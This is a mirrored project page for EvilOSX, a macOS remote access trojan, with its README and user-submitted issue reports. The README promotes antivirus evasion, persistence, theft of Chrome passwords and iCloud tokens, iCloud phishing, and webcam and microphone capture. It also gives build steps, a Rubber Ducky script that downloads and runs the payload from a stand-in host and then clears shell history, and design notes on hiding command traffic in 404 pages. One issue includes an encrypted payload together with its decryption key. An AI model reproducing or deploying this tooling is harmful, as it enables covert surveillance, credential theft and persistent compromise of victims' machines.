Giter Club home page Giter Club logo

evilosx's Introduction


Logo
EvilOSX

An evil RAT (Remote Administration Tool) for macOS / OS X.

License Python Issues Build Status Contributing


Marco Generator by Cedric Owens

This project is no longer active

Features

  • Emulate a terminal instance
  • Simple extendable module system
  • No bot dependencies (pure python)
  • Undetected by anti-virus (OpenSSL AES-256 encrypted payloads)
  • Persistent
  • GUI and CLI support
  • Retrieve Chrome passwords
  • Retrieve iCloud tokens and contacts
  • Retrieve/monitor the clipboard
  • Retrieve browser history (Chrome and Safari)
  • Phish for iCloud passwords via iTunes
  • iTunes (iOS) backup enumeration
  • Record the microphone
  • Take a desktop screenshot or picture using the webcam
  • Attempt to get root via local privilege escalation

How To Use

# Clone or download this repository
$ git clone https://github.com/Marten4n6/EvilOSX

# Go into the repository
$ cd EvilOSX

# Install dependencies required by the server
$ sudo pip install -r requirements.txt

# Start the GUI
$ python start.py

# Lastly, run a built launcher on your target(s)

Warning: Because payloads are created unique to the target system (automatically by the server), the server must be running when any bot connects for the first time.

Advanced users

There's also a CLI for those who want to use this over SSH:

# Create a launcher to infect your target(s)
$ python start.py --builder

# Start the CLI
$ python start.py --cli --port 1337

# Lastly, run a built launcher on your target(s)

Screenshots

CLI GUI

Motivation

This project was created to be used with my Rubber Ducky, here's the simple script:

REM Download and execute EvilOSX @ https://github.com/Marten4n6/EvilOSX
REM See also: https://ducktoolkit.com/vidpid/

DELAY 1000
GUI SPACE
DELAY 500
STRING Termina
DELAY 1000
ENTER
DELAY 1500

REM Kill all terminals after x seconds
STRING screen -dm bash -c 'sleep 6; killall Terminal'
ENTER

STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
ENTER
  • It takes about 10 seconds to backdoor any unlocked Mac, which is...... nice
  • Terminal is spelt that way intentionally, on some systems spotlight won't find the terminal otherwise.
  • To bypass the keyboard setup assistant make sure you change the VID&PID which can be found here.
    Aluminum Keyboard (ISO) is probably the one you are looking for.

Versioning

EvilOSX will be maintained under the Semantic Versioning guidelines as much as possible.
Server and bot releases will be numbered with the follow format:

<major>.<minor>.<patch>

And constructed with the following guidelines:

  • Breaking backward compatibility (with older bots) bumps the major
  • New additions without breaking backward compatibility bumps the minor
  • Bug fixes and misc changes bump the patch

For more information on SemVer, please visit https://semver.org/.

Design Notes

  • Infecting a machine is split up into three parts:
    • A launcher is run on the target machine whose only goal is to run the stager
    • The stager asks the server for a loader which handles how a payload will be loaded
    • The loader is given a uniquely encrypted payload and then sent back to the stager
  • The server hides it's communications by sending messages hidden in HTTP 404 error pages (from BlackHat's "Hiding In Plain Sight")
    • Command requests are retrieved from the server via a GET request
    • Command responses are sent to the server via a POST request
  • Modules take advantage of python's dynamic nature, they are simply sent over the network compressed with zlib, along with any configuration options
  • Since the bot only communicates with the server and never the other way around, the server has no way of knowing when a bot goes offline

Issues

Feel free to submit any issues or feature requests here.

Contributing

For a simple guide on how to create modules click here.

Credits

  • The awesome Empire project
  • Shoutout to Patrick Wardle for his awesome talks, check out Objective-See
  • manwhoami for his projects: OSXChromeDecrypt, MMeTokenDecrypt, iCloudContacts
    (now deleted... let me know if you reappear)
  • The slowloris module is pretty much copied from PySlowLoris
  • urwid and this code which saved me a lot of time with the CLI
  • Logo created by motusora

License

GPLv3

evilosx's People

Contributors

hackerfantastic avatar highpressure avatar marten4n6 avatar timgates42 avatar tycx2ry avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

evilosx's Issues

Builder.py not recognizing Cryptodome

I have installed the requirements and ensured they are functional, but get the following error when attempting to use builder.py to generate a payload.

Traceback (most recent call last):
  File "./builder.py", line 16, in <module>
    from server.model import LoaderFactory
  File "/XXXX/XXXX/XXXX/EvilOSX-master/server/model.py", line 15, in <module>
    from Cryptodome.Cipher import AES
ImportError: No module named 'Cryptodome'

Can't use modules

When trying to use some modules directly on a Mac, I got the following Error. Looks like it can't find the modules in this directory. I tried to move the icloud_contacts.py from the /server to the /bot directory, but that failed also.

bildschirmfoto 2018-06-27 um 02 33 59

If I run the server on Debian (python3) I can't even use the command "modules". I get an "AttributeError" with: 'module' object has no attribute 'module_from_spec'

screenshot_1

include the full track trace in code tags? Also have you started the server?

Hi dear
After the update you made.
The error message is given below the running time.

File "" Line 1 in
File "/System/Library/Frameworks/Python.framwork/Versions/2.7/lib/urllib2.py" , line 154, in urlopen
return opener.open(url , data , timeout)

and other line erorr

line 431
line 449
line 1240 in https_open

keylogger implementation

can you please guide me if i have a key logger and i want to integrate it, what changes/additions are required? your help is appreciated much.

'NoneType' object has no attribute 'put'

First of all, thank you for your efforts in creating this cute RAT!.

I would like to ask what could be the reason of getting constantly the following error message when trying to use practically "any" module.

use browser_history
I hit enter twice, nothing happens and the error below is thrown at me.
[?] Server port to listen on: 2228
Traceback (most recent call last):
  File "server/server.py", line 546, in <module>
    main()
  File "server/server.py", line 541, in main
    view.run()
  File "server/server.py", line 495, in run
    self._main_loop.run()
  File "/usr/lib/python2.7/dist-packages/urwid/main_loop.py", line 278, in run
    self._run()
  File "/usr/lib/python2.7/dist-packages/urwid/main_loop.py", line 376, in _run
    self.event_loop.run()
  File "/usr/lib/python2.7/dist-packages/urwid/main_loop.py", line 682, in run
    self._loop()
  File "/usr/lib/python2.7/dist-packages/urwid/main_loop.py", line 719, in _loop
    self._watch_files[fd]()
  File "/usr/lib/python2.7/dist-packages/urwid/raw_display.py", line 393, in <lambda>
    event_loop, callback, self.get_available_raw_input())
  File "/usr/lib/python2.7/dist-packages/urwid/raw_display.py", line 493, in parse_input
    callback(processed, processed_codes)
  File "/usr/lib/python2.7/dist-packages/urwid/main_loop.py", line 403, in _update
    self.process_input(keys)
  File "/usr/lib/python2.7/dist-packages/urwid/main_loop.py", line 503, in process_input
    k = self._topmost_widget.keypress(self.screen_size, k)
  File "/usr/lib/python2.7/dist-packages/urwid/container.py", line 1116, in keypress
    return self.footer.keypress((maxcol,),key)
  File "server/server.py", line 127, in keypress
    self._queue.put(command)
AttributeError: 'NoneType' object has no attribute 'put'

Persistence without sudo

Love your project, awesome stuff here. Question: Is it possible to use persistence without sudo? I don't have enough permission to create launching agent.

python EvilOSX-QhVinzCn.py [DEBUG] setup_persistence:277 - Creating launch agent... Traceback (most recent call last): File "EvilOSX-QhVinzCn.py", line 5, in <module> 4uGuuy8Z/0IP5XY4hyb6syO54ULQlUWmMLd0MP2aSXwGFfLUGHq1kiRPo51U2rBwv2FnVbZcoDNJLDsUOB0vsfrghENmanW6nV+bCeOCp6NYy8sG/fysPmoZRybxzLZESxvpIeT0cWVaOLiFehDqAicr1wFysWT+6HXw6Hi8lbKljaHPxVQJcJBg/K1Ba2O5Br9po/sm+rVkeWi7NzbRwuPlzWDo3Ug+ZJJlCJ5DLFr23ncR3YELpftMTAW2Th9+HEXV4dCnRCmM2OGrsGEnDR+ciqLlC94E0mgbNjtFdHHs2yKt4kCDGXeRh3EMAJtgxR1utZFBs9xmtKd3wvHdhWYQmI5u5y389UNK3keWGEZyRTvoufEltV0Q5oFmZANH7P7G900Fxqr7WtPCg/F4wLeJ5EBY4o8BoprOOuP9Xo1rtHUh8K+EjJvFErvg9bZSdBmBnAf3l60KqxkdghrZD7GCLlDPzS5AOag63z8Kb5RcyZdGMD+dVqcbjuFKA3pwipkG9otUwXlp+8a1eKmsSHjkXPqmz6d5+yHL/YVtNnMRCbHnl1bzNkFE2vtOKINqnA/MBoqqz5UGsZR9LEhzHWR5jcLWTXCjihyfIN96btvOhwpFSeLm7g7lfJJMrSYL1RADc/8/oHgfGrr1mNOVrpY1hlS/1JdDGtnb1S9YebYxgrP/xJU91Ix5PCRzWZTLFVVBf13Vc3fS8WkFahkuWzlQlb7HsMspjQdjRkpskHEtkfxPloRMiaooi1sAZLR7HUx9/vS/UEoMyc/MiNiZXJNo942TNUgFj3u08zw+ojXRDxZScl2KZu9cJaQCAx2yLHIuGB19d0ET3WBctHD/F71efiawNrqua3+mtj4Dac7nNxmHPM0Am+rQ9TK4pkwQq7F1tCv5evAJTzgs+bwK0aeqi5t23aETsmq9uXQGo4ZZbK9AyDyngJA6qVt3GILddFqxWtykC2uQQyhTal/IvjHT7n0mVaD6VUMpcJIjRg4ZC94GvtNU3QVTdA23UW4X8SF3BEHNapGAwCSBxwewZ5y0P9lcsoEDA5EPf8vXjTZQGTHvgI2u2LhOW79e5YawkXpTtNl0XgEeSz2I6EhwJZ0i5x3i6CMPVl0ua6TuWbitZdpTKurkZFdnPTZ7ORSMRGgtuEToAh6Ns+cr7JCZP8+A6r4QQTqz6/sBmGsDw/DX+2DEWQAzO/u7wCFx1IC/ilgeAm6sb0rNgrD5XI0R6vo/hTSgSo7A== | openssl aes-256-cbc -A -d -a -k 467B12CE94827C47C23134FF6A071987DCA0665BBFF37B5ECEB68C105E18706B -iv 610AE8765A4E6E9DA97F03BF384AFDBC -S D96EFD5B0BF98878 -md sha256 | base64 --decode").readlines())) File "<string>", line 459, in <module> File "<string>", line 379, in main File "<string>", line 298, in setup_persistence IOError: [Errno 13] Permission denied: '/Users/xxxx/Library/LaunchAgents/oko.plist'

Everything works fine with sudo, or if I disable persistence at building the payload.

Bug or not possible?

Persistence & Modules

Ive just successfully used the RAT and its very nice, however I closed the target computer and now I have lost it as a client. How do I stop this from happening ? Also how do I run a fresh payload as when I manual start the payload it says on the target computer that its already present in the system....and finally how do I incorporate the modules such as webcam?

Errors

Traceback (most recent call last):
File "", line 21, in
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 154, in urlopen
return opener.open(url, data, timeout)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 431, in open
response = self._open(req, data)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 449, in _open
'_open', req)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 409, in _call_chain
result = func(*args)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 1227, in http_open
return self.do_open(httplib.HTTPConnection, req)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 1197, in do_open
raise URLError(err)
urllib2.URLError: <urlopen error [Errno 61] Connection refused>

(I had the server running before the bot was made)

OSX Version Requirments

I'm doing some testing on older versions of OSX. Do you have a list of versions you have tested against already?

I started with 10.10.4 / python 2.7.6 -

  • I couldn't run the client, I was getting a module not found error
  • updated to 2.7.14, client can now run.
  • The process seems to hang at [INFO] setup_persistence:83 - Done!
    -The server sees the client and starts to create the payload but then nothing after that.

No module named 'urllib2'

Hello, i have successfully installed EvilOSX. i created a launcher file and when i try to run that it throws an exception of No module named 'urllib2' and gets stuck there. Since i am a beginner so please apology for stupid question. i am testing it locally right now i.e. client and server on two different terminals. will it work this way?
screen shot 2018-06-22 at 1 57 37 pm

Modules Not Loading

Once a client connects, the help menu has the following:
help
status
clients
connect
get_info
kill_client

But the modules fail to load. Thoughts?

icloud_contacts not working

when i try to run icloud_contacts, it says run decrypt_mme first and when i do use decrypt_mme, the following error is thrown.
screen shot 2018-07-06 at 9 55 22 pm
please explain me the issue.

Running the Python File

Traceback (most recent call last):
File "", line 1, in
File "", line 24, in
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 154, in urlopen
return opener.open(url, data, timeout)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 431, in open
response = self._open(req, data)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 449, in _open
'_open', req)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 409, in _call_chain
result = func(*args)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 1240, in https_open
context=self._context)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 1197, in do_open
raise URLError(err)
urllib2.URLError: <urlopen error [Errno 61] Connection refused>

Connection Error

Exception happened during processing of request from ('XXX.XXX.XX.XXX', XXXXX)
Traceback (most recent call last):
File "/usr/lib/python2.7/SocketServer.py", line 596, in process_request_thread
self.finish_request(request, client_address)
File "/usr/lib/python2.7/SocketServer.py", line 331, in finish_request
self.RequestHandlerClass(request, client_address, self)
File "/usr/lib/python2.7/SocketServer.py", line 652, in init
self.handle()
File "/root/EvilOSX/server/controller.py", line 177, in handle
BaseHTTPRequestHandler.handle(self)
File "/usr/lib/python2.7/BaseHTTPServer.py", line 340, in handle
self.handle_one_request()
File "/usr/lib/python2.7/BaseHTTPServer.py", line 328, in handle_one_request
root@ubuntu:~# python EvilOSX/server/server.py

Error on server.py on Windows 7

Hi Marten,

thank for your work: I was trying your RAT on Windows 7 Python 3

**
$ python3 start.py
[!] Failed to print fancy banner, skipping...
[?] Server port to listen on: 2606
Traceback (most recent call last):
File "start.py", line 87, in
main()
File "start.py", line 79, in main
controller.start()
File "E:\EvilOSX\server\controller.py", line 42, in start
self._view.start()
File "E:\EvilOSX\server\view\cli.py", line 209, in start
main_loop = urwid.MainLoop(self._frame, self._PALETTE, handle_mouse=True)
File "C:\Python36\lib\site-packages\urwid\main_loop.py", line 114, in init
screen = raw_display.Screen()
File "C:\Python36\lib\site-packages\urwid\raw_display.py", line 92, in init
fcntl.fcntl(self._resize_pipe_rd, fcntl.F_SETFL, os.O_NONBLOCK)
NameError: name 'fcntl' is not defined


Some suggestion?

Regards

Errors

Traceback (most recent call last):
File "", line 21, in
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 154, in urlopen
return opener.open(url, data, timeout)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 431, in open
response = self._open(req, data)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 449, in _open
'_open', req)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 409, in _call_chain
result = func(*args)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 1227, in http_open
return self.do_open(httplib.HTTPConnection, req)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 1197, in do_open
raise URLError(err)
urllib2.URLError: <urlopen error [Errno 61] Connection refused>

Launcher errors out "Could not find domain for"

I built the launcher w/o issue. The first time I tried it I forgot to add a firewall rule to allow it to communicate with the server. After I opened the port, I ran the python launcher again and got the following error:

[DEBUG] :26 - Program directory: /Users//Library/Containers/.dCMmfQTuMWrOts
[DEBUG] :27 - Launch agent name: com.apple.KUYViYJMjXmmgfX
[DEBUG] :28 - Payload filename: zSsqaeFlPVdyUGP
[ERROR] :98 - Unexpected output: Could not find domain for

the executable doesnot go into background

when I run the launcher, an executable is created. Clicking on the executable will start the communication between bot and server. how this executable can be run in background and hide from foreground?

upload and download modules

Been noticing this bug with every module whenever text is inputted inside of the input field. Whenever I enter a string and then hit enter to go to the next prompt, the previously entered string gets stuck and freezes the module.

Example is shown, i used ~/Downloads/example.png for my local directory but i can't delete it or do anything when the next prompt comes up.
screenshot 2018-07-01 01 00 31

Client connection error for module

After a module was used for a specific client on another network, this alert is displayed:
[!] Error: EOF occurred in violation of protocol (_ssl.c:1949)

2.1.6 - macOS Sierra 10.12.16 - webcam module - AssertionError: rows, render mismatch

run the server
use webcam  module
The following exception it is shown
For testing, I have executed the agent on the target as root and also as a local user. 
[?] Server port to listen on: 2228
Traceback (most recent call last):
  File "server/server.py", line 545, in <module>
    main()
  File "server/server.py", line 540, in main
    view.run()
  File "server/server.py", line 494, in run
    self._main_loop.run()
  File "/usr/lib/python2.7/dist-packages/urwid/main_loop.py", line 278, in run
    self._run()
  File "/usr/lib/python2.7/dist-packages/urwid/main_loop.py", line 376, in _run
    self.event_loop.run()
  File "/usr/lib/python2.7/dist-packages/urwid/main_loop.py", line 682, in run
    self._loop()
  File "/usr/lib/python2.7/dist-packages/urwid/main_loop.py", line 710, in _loop
    self._entering_idle()
  File "/usr/lib/python2.7/dist-packages/urwid/main_loop.py", line 671, in _entering_idle
    callback()
  File "/usr/lib/python2.7/dist-packages/urwid/main_loop.py", line 564, in entering_idle
    self.draw_screen()
  File "server/server.py", line 50, in draw_screen
    super(SafeMainLoop, self).draw_screen()
  File "/usr/lib/python2.7/dist-packages/urwid/main_loop.py", line 578, in draw_screen
    canvas = self._topmost_widget.render(self.screen_size, focus=True)
  File "/usr/lib/python2.7/dist-packages/urwid/widget.py", line 141, in cached_render
    canv = fn(self, size, focus=focus)
  File "/usr/lib/python2.7/dist-packages/urwid/container.py", line 1096, in render
    assert foot.rows() == frows, "rows, render mismatch"
AssertionError: rows, render mismatch
root@kali:~/hacking/EvilOSX#

stuck on "Creating payload using key: *"

was able to avoid the error with JSON throwing an exception with bytes by importing codecs, then whenever it runs it stays on the launch_daemon and doesn't advance
screenshot 2018-06-20 18 20 07

How to download the directory

Is it a victim of the system
Downloaded a directory

i use this command
use download
and set path address but not work .

Getting error

I made the server to be on ubuntu 16.4 and it gives me an error: [!] Failed to print fancy banner, skipping...

I decided to continue and when I put in the script without the clear and terminal closing I get these errors:
Traceback (most recent call last):
File "", line 21, in
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/socket.py", line 355, in read
data = self._sock.recv(rbufsize)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/httplib.py", line 612, in read
s = self.fp.read(amt)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/httplib.py", line 1412, in read
return s + self._file.read(amt - len(s))
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/socket.py", line 384, in read
data = self._sock.recv(left)
socket.error: [Errno 54] Connection reset by peer

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.